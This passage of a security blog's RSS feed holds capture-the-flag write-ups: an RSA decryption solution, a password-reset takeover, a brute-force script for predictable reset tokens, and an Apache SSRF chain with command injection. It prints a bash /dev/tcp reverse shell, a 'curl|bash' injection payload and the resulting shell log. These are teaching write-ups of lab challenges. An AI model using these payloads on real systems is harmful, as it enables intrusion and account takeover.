      &lt;li&gt;Using d, we decrypted c to recover m, then converted m from bytes to reveal the flag.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;solution-code&quot;&gt;Solution Code&lt;/h4&gt;
&lt;p&gt;Here’s the final code that accomplishes these steps:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from Crypto.Util.number import long_to_bytes
from sympy import Integer
from math import prod
# Given constants
n = 352189612438784047320754903106372002809877965719588610950180565262740960705788381566578345723325074804073747981488556714699194183628557150903839852453543700776971896448650422022044960974232637963499485064773137220336653165714273408753468196975611814144214482908258123395290626550717602601895666745644709508591571302894106487383195731091217527995774179358090943421864881850666765491934935419093710096767868514339375941764521600704560564724716373816013966194185050357691082654919969371044174479415710416530800029987261822155401485231590655607419352265580910531638967882492680615189164541617995862933344817766381378089
e = 65537
c = 258206881010783673911167466000280032795683256029763436680006622591510588918759130811946207631182438160709738478509009433281405324151571687747659548241818716696653056289850196958534459294164815332592660911913191207071388553888518272867349215700683577256834382234245920425864363336747159543998275474563924447347966831125304800467864963035047640304142347346869249672601692570499205877959815675295744402001770941573132409180803840430795486050521073880320327660906807950574784085077258320130967850657530500427937063971092564603795987017558962071435702640860939625245936551953348307195766440430944812377541224555649965224
treat = 33826299692206056532121791830179921422706114758529525220793629816156072250638811879097072208672826369710139141314323340868249218138311919342795011985307401396584742792889745481236951845524443087508961941376221503463082988824380033699922510231682106539670992608869544016935962884949065959780503238357140566278743227638905174072222417393094469815315554490106734525135226780778060506556705712260618278949198314874956096334168056169728142790865790971422951014918821304222834793054141263994367399532134580599152390531190762171297276760172765312401308121618180252841520149575913572694909728162718121046171285288877325684172770961191945212724710898385612559744355792868434329934323139523576332844391818557784939344717350486721127766638540535485882877859159035943771015156857329402980925114285187490669443939544936816810818576838741436984740586203271458477806641543777519866403816491051725315688742866428609979426437598677570710511190945840382014439636022928429437759136895283286032849032733562647559199731329030370747706124467405783231820767958600997324346224780651343241077542679906436580242223756092037221773830775592945310048874859407128884997997578209245473436307118716349999654085689760755615306401076081352665726896984825806048871507798497357305218710864342463697957874170367256092701115428776435510032208152373905572188998888018909750348534427300919509022067860128935908982044346555420410103019344730263483437408060519519786509311912519598116729716340850428481288557035520
# Constants for decomposition
power_factors = [0x1337 - 158 * (2 * i + 1) for i in range(16)]
# Extract primes
primes = []
treat_integer = Integer(treat)
for exp in sorted(power_factors, reverse=True):
    prime = treat_integer // (2 ** exp)
    primes.append(int(prime))
    treat_integer -= prime * (2 ** exp)
# Calculate phi(n)
phi_n = prod([p - 1 for p in primes])
# Calculate `d`
d = pow(e, -1, int(phi_n))
# Decrypt `c` to get `m`
m = pow(c, d, n)
flag = long_to_bytes(m)
# Output flag
print(&quot;Flag:&quot;, flag.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;By leveraging treat and reconstructing n’s prime factors, we uncovered the private key and decrypted the message to reveal the flag. This challenge demonstrates the importance of carefully handling large integers and modular arithmetic in cryptographic applications, especially where prime factorization and modular inverses are involved.&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Binary Basis has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 05 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/crypto/binarybasis</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/crypto/binarybasis</guid>
        
        <category>crypto</category>
        
        <category>python-scripting</category>
        
        <category>decryption</category>
        
        <category>ctf</category>
        
        
      </item>
    
      <item>
        <title>Armaxis</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat armaxis.txt
This was a &quot;very easy&quot; web challenge that I managed to solve during the HTB Univeristy CTF. 
It starts with exploiting a password reset feature that has some broken logic that 
allows us to reset the password for the admin by intercepting the request and 
changing out email. From there, we are able to make use of a command injection 
vulnerability and simply use curl to send the flag to a webhook. The actual path 
involves using the command injection to include the contantes of local file in 
markdown img tags. The file contents gets base64 encoded and stored on the admin&apos;s 
home page.&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;h4 id=&quot;account-creation&quot;&gt;Account Creation&lt;/h4&gt;
&lt;p&gt;We have the ability to create accounts, so that was the first thing I did.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/armaxis/armaxis-login.png&quot; title=&quot;Registration Page&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;user---admin&quot;&gt;User -&amp;gt; Admin&lt;/h4&gt;
&lt;p&gt;When we first get the application, we have a few options available to us. We can login, register ot reset passwords.&lt;/p&gt;
&lt;p&gt;Since we dont have an account yet, I went ahead and created one for testing.&lt;/p&gt;
&lt;p&gt;After logging in, there didnt seem to be much we could do from a user standpoint. I did notice some other endpoint from the code, but we weren&apos;t authorized to hit them. So, I figured we needed to escalate our privs somehow.&lt;/p&gt;
&lt;p&gt;Since we do get access to an email client, it seems obvious we need to exploit the password reset in some way&lt;/p&gt;
&lt;p&gt;Testing out the password reset, it seems interesting that it gives us the prompt directly after entering our email.&lt;/p&gt;
&lt;p&gt;I put the code sent to the email and the new password where prompted. I then intercepted the request and noticed a hidden parameter, &quot;email&quot;. Interesting!&lt;/p&gt;
&lt;p&gt;Looking back at the code, I found an email for the adminitrator:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin@armaxis.htb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Replacing my email with the admins, I was able to successfully reset their password and login.&lt;/p&gt;

&lt;h4 id=&quot;command-injection&quot;&gt;Command Injection&lt;/h4&gt;
&lt;p&gt;From there, we get something new to poke at, the weapons dispatch:&lt;/p&gt;
&lt;p&gt;This was the first way I solved this one.&lt;/p&gt;

</description>
        <pubDate>Thu, 06 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/armaxis</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/armaxis</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>easy</category>
        
        <category>password-reset</category>
        
        <category>cmdi</category>
        
        
      </item>
    
      <item>
        <title>Predictable</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;description&quot;&gt;Description&lt;/h3&gt;
&lt;p&gt;You’ve been tasked on a pentest engagement to understand the tokengeneration process 
and exploit it, do you have what it takes?&lt;/p&gt;

&lt;h3 id=&quot;overview&quot;&gt;Overview&lt;/h3&gt;
&lt;p&gt;This was “hard” challenge from the HTB Fall Huddle. The name and description pretty much gave away the vulnerability. The application uses predictable values to generate password reset tokens. If we can obtaina user’s email and the timestamp of when the password reset was requested, we can generate the same token. This challenge did require reading the source code and scripting to generate the possibletokens based on exact time that we issued the issued the reset. To do this, we had to create a wordlist of possible tokens and brute force the reset for the admin user.&lt;/p&gt;

&lt;h4 id=&quot;reset-token-helper&quot;&gt;Reset Token Helper&lt;/h4&gt;
&lt;p&gt;While reviewing the source code, we notice the seed for the token is generated using two easily predictable values: the user’s email and the current timestamp (Date.now()). The token is then created by MD5 hashing the seed.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const seed = email + currentTime.toString();
const token = crypto.createHash(&apos;md5&apos;).update(seed).digest(&apos;hex&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;solution&quot;&gt;Solution:&lt;/h4&gt;

&lt;p&gt;From looking at the code, it became clear that our goal was to exploit the flaw in the way password reset tokens were generated. Spinning up the appliction locally confirms this.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/975zj5.jpg&quot; title=&quot;Reset Password&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h5 id=&quot;nodemailer&quot;&gt;NodeMailer&lt;/h5&gt;
&lt;p&gt;The password reset process requires the user’s email and reset token. When we click on “forgot password,” the application sends a reset token via email, which we receive in our NodeMailer email box that conveniently renders on the same page.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/975zzm.jpg&quot; title=&quot;Reset Token Received&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;scripting-an-exploit&quot;&gt;Scripting an Exploit&lt;/h5&gt;
&lt;p&gt;After reviewing the source code, we can see the password reset tokens are generated by concatenating the user’s email with the current Unix timestamp, then hashing the result. 
&lt;br /&gt;
&lt;br /&gt;
To exploit this, I first wrote a script to generate a token for my test user, test@hackthebox.com, using the same logic as the application. 
&lt;br /&gt;
&lt;br /&gt;
However, I eventually realized this approach wouldn’t work since even a slight time difference—down to milliseconds—would result in a different token, making it nearly impossible to match the token precisely.
&lt;br /&gt;
&lt;br /&gt;
To overcome this, I wrote another script that generated 4,000 tokens, one for every millisecond difference from when the script started. After requesting a password reset, I captured the token sent via email and then used it to grep the same value from the list of the 4,000 generated tokens. 
&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ cat results.txt | grep 583d6f54e3bed1dedf2e200ae4fdd3f4
[+] Time (milliseconds): 1729210982515 | Time (UTC): 10/18/2024, 12:23:02 AM | Token: &lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;583d6f54e3bed1dedf2e200ae4fdd3f4&lt;/span&gt;
&lt;/pre&gt; 
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h5 id=&quot;brute-forcing-tokens&quot;&gt;Brute-Forcing Tokens&lt;/h5&gt;
&lt;p&gt;Now, I just needed to apply the same process, but this time replacing test@hackthebox.com with admin@hackthebox.com in my script. To brute-force the password reset, I planned to use a tool like ffuf along with the wordlist of generated tokens. I created 4,000 tokens for the admin@hackthebox.com email and quickly triggered the “forgot password” function for that email. Afterward, I used grep to extract the tokens from my script and placed them into a wordlist. Finally, I passed the wordlist to ffuf to brute-force the token for the password reset feature.&lt;/p&gt;

&lt;div class=&quot;collapsible-code&quot;&gt;
    &lt;div class=&quot;terminal-box&quot;&gt;
        &lt;div class=&quot;terminal-header&quot;&gt;
            &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
            &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
        &lt;/div&gt;
        &lt;div class=&quot;terminal-body&quot;&gt;
            &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ grep &quot;Token:&quot; results.txt  | awk -F &apos;Token: &apos; &apos;{print $2}&apos; &amp;gt; wordlist.txt // parse tokens from output into a wordlist for ffuf
&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ ffuf -u http://127.0.0.1:1337/api/reset-password -X POST -d &apos;{&quot;email&quot;:&quot;admin@hackthebox.com&quot;,&quot;token&quot;:&quot;FUZZ&quot;,&quot;newPassword&quot;:&quot;admin&quot;}&apos; -w wordlist.txt -H &quot;Content-Type: application/json&quot; -fw 5 //Fuzz token value until password is reset


        /&apos;___\  /&apos;___\           /&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
===============================================================
 :: Method        : POST
 :: URL           : http://127.0.0.1:1337/api/reset-password
 :: Wordlist      : FUZZ: /home/kali/wordlist.txt
 :: Header        : Content-Type: application/json
 :: Data          : {&quot;email&quot;:&quot;admin@hackthebox.com&quot;,&quot;token&quot;:&quot;FUZZ&quot;,&quot;newPassword&quot;:&quot;admin&quot;}
 :: Follow redirects : false
 :: Calibration   : false
 :: Timeout       : 10
 :: Threads       : 40
 :: Matcher       : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter        : Response words: 5
===============================================================

&lt;span style=&quot;color: red; font-weight: bold;&quot;&gt;2d05f0c1a911b4176613134f6f0826fd&lt;/span&gt; [Status: 200, Size: 59, Words: 3, Lines: 1, Duration: 83ms]

:: Progress: [4001/4001] :: Job [1/1] :: 2890 req/sec :: Duration: [00:00:01] :: Errors: 0 ::&lt;/pre&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
I used the token to reset the admin’s password, logged in as the admin to get the flag:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://i.imgflip.com/9762nt.jpg&quot; title=&quot;The Flag!!!&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h5 id=&quot;exploit&quot;&gt;Exploit:&lt;/h5&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const crypto = require(&apos;crypto&apos;);

// Script to generate multiple tokens within a time range
async function generateTokensForRange(email, range) {
    console.log(`[*] Starting token generation for a 2000ms range...`);

    // Get the current time in milliseconds
    const startTime = Date.now();
    console.log(`[*] Start time: ${startTime}`);

    // Iterate over the time range (milliseconds defined further down)
    for (let offset = 0; offset &amp;lt;= range; offset++) {
        const currentTime = startTime + offset;

        // Generate the seed and then MD5 token for each millisecond in the range
        const seed = email + currentTime.toString();
        const token = crypto.createHash(&apos;md5&apos;).update(seed).digest(&apos;hex&apos;);

        const fullDateTime = new Date(currentTime).toLocaleString(&quot;en-US&quot;, { timeZone: &quot;UTC&quot; });
        
        console.log(`[+] Time (milliseconds): ${currentTime} | Time (UTC): ${fullDateTime} | Token: ${token}`);
    }

    console.log(`[*] Token generation for range complete.`);
}

(async () =&amp;gt; {
    const email = &quot;admin@hackthebox.com&quot;; 
    const timeRange = 4000; 
    await generateTokensForRange(email, timeRange);
})();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
    Predictable has been pwn3d!
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 07 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/predictable</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/predictable</guid>
        
        <category>web</category>
        
        <category>ctf</category>
        
        <category>tokens</category>
        
        <category>password-reset-tokens</category>
        
        <category>predictable</category>
        
        <category>python</category>
        
        
      </item>
    
      <item>
        <title>Cyber Attack</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;overview&quot;&gt;Overview&lt;/h3&gt;
&lt;p&gt;An “easy” challenge from Hack The Box’s Cyber Apocalypse 2025. The container ran an outdated version of Apache, vulnerable to SSRF caused by handler confusion. Exploiting this, we were able to hit an internal-only endpoint, attack-ip, which had a blind command injection vulnerability. To bypass the IP validation on attack-ip, we leveraged IPv6 zone identifiers, which seem to not be properly validated in the Python library, ultimately leading to code execution.&lt;/p&gt;

&lt;h4 id=&quot;attack-dashboard&quot;&gt;Attack Dashboard&lt;/h4&gt;
&lt;p&gt;Running the web app, we are met with a dashboard where we can enter our name and the domain or ip of a target we would like to attack. Although, at first it seems we can&apos;t attack an IP, only domains.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;/assets/images/cyber-attack/challenge.png&quot; title=&quot;Registration Page&quot; width=&quot;100%&quot; /&gt;
&lt;/p&gt;

&lt;h4 id=&quot;apache-configuration&quot;&gt;Apache Configuration&lt;/h4&gt;
&lt;p&gt;Looking at the Apache config file, we see the attack-ip endpoint is restricted to internal use only. Meaning, we would first need to bypass this restriction in order to use it.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;ServerName CyberAttack

AddType application/x-httpd-php .php

&amp;lt;Location &quot;/cgi-bin/attack-ip&quot;&amp;gt;
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
&amp;lt;/Location&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;attack-ip&quot;&gt;Attack IP&lt;/h4&gt;
&lt;p&gt;A quick look at the code of the cgi script for attacking an IP reveals possible command injection. Atleast, that is the only thing I could figure. Although, I soon began doubting myself as I began trying to inject additional commands..&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address

form = cgi.FieldStorage()
name = form.getvalue(&apos;name&apos;)
target = form.getvalue(&apos;target&apos;)

if not name or not target:
    print(&apos;Location: ../?error=Hey, you need to provide a name and a target!&apos;)
try:
    count = 1 # Increase this for an actual attack
    os.popen(f&apos;ping -c {count} {ip_address(target)}&apos;)
    print(f&apos;Location: ../?result=Succesfully attacked {target}!&apos;)
except:
    print(f&apos;Location: ../?error=Hey {name}, watch it!&apos;)
   
print(&apos;Content-Type: text/html&apos;)
print()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;apache-handler-confusion&quot;&gt;Apache Handler Confusion&lt;/h4&gt;
&lt;p&gt;During the CTF, one of our team members found a super useful blog on Apache confusion attacks &lt;a href=&quot;https://blog.orange.tw/posts/2024-08-confusion-attacks-en&quot;&gt;Here&lt;/a&gt;. We were able to use this research to solve the first part of the challenge, which was to successfully make a request to the attack-ip endpoint. Section three of the blog goes into detail on handler confusion, providing several useful examples, such as:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;✔️ 3-2-2. Arbitrary Handler to Full SSRF
Calling the mod_proxy to access any protocol on any URL is, of course, straightforward:

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3F %0d%0a
%0d%0a
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;We were able to use CRLF Injection with the attack-domain request to get SSRF and attack an IP from the localhost.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;http://myapp.local:1337/cgi-bin/attack-domain?target=t&amp;amp;name=%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://myapp.local:1337/cgi-bin/attack-ip?target=127.0.0.1&amp;amp;name=test %0d%0a
%0d%0a
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;custom-box success&quot;&gt;
Successfully attacked 127.0.0.1
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;command-injection-via-target-parameter&quot;&gt;Command injection via Target Parameter&lt;/h4&gt;
&lt;p&gt;Next came the hardest part of the challenge. Figuring out how to exploit the potential command injection vulnerability. For a while, I doubted if this was even possible. I searched far and wide for bypasses in the ipaddress library, but only found CVEs about parsing issues concerning leading 0&apos;s in an ip address, and nothing else useful. Both GPT and Google failed me. I modified the CGI script and spent a significant amound of time testing locally to even see if it was even possible.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3

import os
import sys
from ipaddress import ip_address

name = &apos;rosehacks&apos;
target = &apos;000::11;$(whoami)&apos;

try:
    count = 1  # Increase this for an actual attack
    os.popen(f&apos;ping -c {count} {ip_address(target)}&apos;)  # Same vulnerability check
    print(f&apos;Successfully attacked {target}!&apos;)
except:
    print(f&apos;Error: Hey {name}, watch it!&apos;)&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ python3 test.py
Error: Hey rosehacks, watch it!&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;No good!&lt;/p&gt;

&lt;h4 id=&quot;ipv6-zone-identifiers-ftw&quot;&gt;IPv6 Zone Identifiers FTW&lt;/h4&gt;
&lt;p&gt;I was at this for hours... and never got the solution, turns out I was missing a single % sign.. To be more specific, all my googling failed to lead me to a parsing confusion issue in the python ipaddress library. By using IPv6 zone identifiers, such as discussed &lt;a href=&quot;https://nishacid.guru/writeups/grehack_tohope_or_not_tohope/&quot;&gt;Here&lt;/a&gt;, which aren&apos;t validated, we can bypass the validation and inject commands.&lt;/p&gt;

&lt;p&gt;&quot;After a quick read of the library’s source code, we can see that it does indeed take zone identifiers into account, and that it doesn’t check the contents.&quot;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@staticmethod
def _split_scope_id(ip_str):
    &quot;&quot;&quot;Helper function to parse IPv6 string address with scope id.

    See RFC 4007 for details.

    Args:
        ip_str: A string, the IPv6 address.

    Returns:
        (addr, scope_id) tuple.

    &quot;&quot;&quot;
    addr, sep, scope_id = ip_str.partition(&apos;%&apos;)
    if not sep:
        scope_id = None
    elif not scope_id or &apos;%&apos; in scope_id:
        raise AddressValueError(&apos;Invalid IPv6 address: &quot;%r&quot;&apos; % ip_str)
    return addr, scope_id&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;With this in mind, I tested it locally before running it against the server:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3

import os
import sys
from ipaddress import ip_address

name = &apos;rosehacks&apos;
target = &apos;000::11%$(whoami)&apos;

try:
    count = 1  # Increase this for an actual attack
    os.popen(f&apos;ping -c {count} {ip_address(target)}&apos;)  # Same vulnerability check
    print(f&apos;Successfully attacked {target}!&apos;)
except:
    print(f&apos;Error: Hey {name}, watch it!&apos;)&lt;/code&gt;&lt;/pre&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ python3 test.py
Successfully attacked 000::11%$(whoami)!
&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ ping: ::11%rosehacks: Name or service not known&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;It worked! Now, I needed to setup an attack server and get a reverse shell. I spun up an ec2 in AWS and hosted the following HTML file:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;#!/bin/bash
/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/0.0.0.0/1337 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;the-exploit&quot;&gt;The Exploit&lt;/h4&gt;
&lt;p&gt;The final request looked like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;http://myapp.local:1337/cgi-bin/attack-domain?target=t&amp;amp;name=%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://myapp.local:1337/cgi-bin/attack-ip?target=::111%$(curl+0.0.0.0|bash)&amp;amp;name=test %0d%0a
%0d%0a &lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;I was able to get a reverse shell on the server and read the flag.&lt;/p&gt;

&lt;div class=&quot;terminal-box&quot;&gt;
    &lt;div class=&quot;terminal-header&quot;&gt;
        &lt;span class=&quot;terminal-dot red&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot yellow&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;terminal-dot green&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
    &lt;div class=&quot;terminal-body&quot;&gt;
        &lt;pre&gt;&lt;span class=&quot;terminal-user&quot;&gt;rosehacks&lt;/span&gt;&lt;span class=&quot;terminal-host&quot;&gt;@pwny&lt;/span&gt;$ sudo nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 94.237.54.21 54534
bash: cannot set terminal process group (13): Inappropriate ioctl for device
bash: no job control in this shell
&amp;lt;ackca2025-ng8mo-6455cb8c54-hb2hl:/usr/lib/cgi-bin$ cd /
cd /
www-data@ng-team-7941-webcyberattackca2025-ng8mo-6455cb8c54-hb2hl:/$ ls
ls
bin
boot
dev
etc
flag-etLBDh02onF8SO1.txt
www-data@ng-team-7941-webcyberattackca2025-ng8mo-6455cb8c54-hb2hl:/$ cat flag-etLBDh02onF8SO1.txt
HTB{h4ndl1n6_m4l4k4r5_f0rc35}&lt;/pre&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</description>
        <pubDate>Wed, 26 Mar 2025 00:00:00 +0000</pubDate>
        <link>http://bugculture.io/writeups/web/cyber-attack</link>
        <guid isPermaLink="true">http://bugculture.io/writeups/web/cyber-attack</guid>
        
        <category>ssrf</category>
        
        <category>code-injection</category>
        
        <category>handler-confusion</category>
        
        <category>apache</category>
        
        <category>request-smuggling</category>
        
        
      </item>
    

  </channel>
</rss>
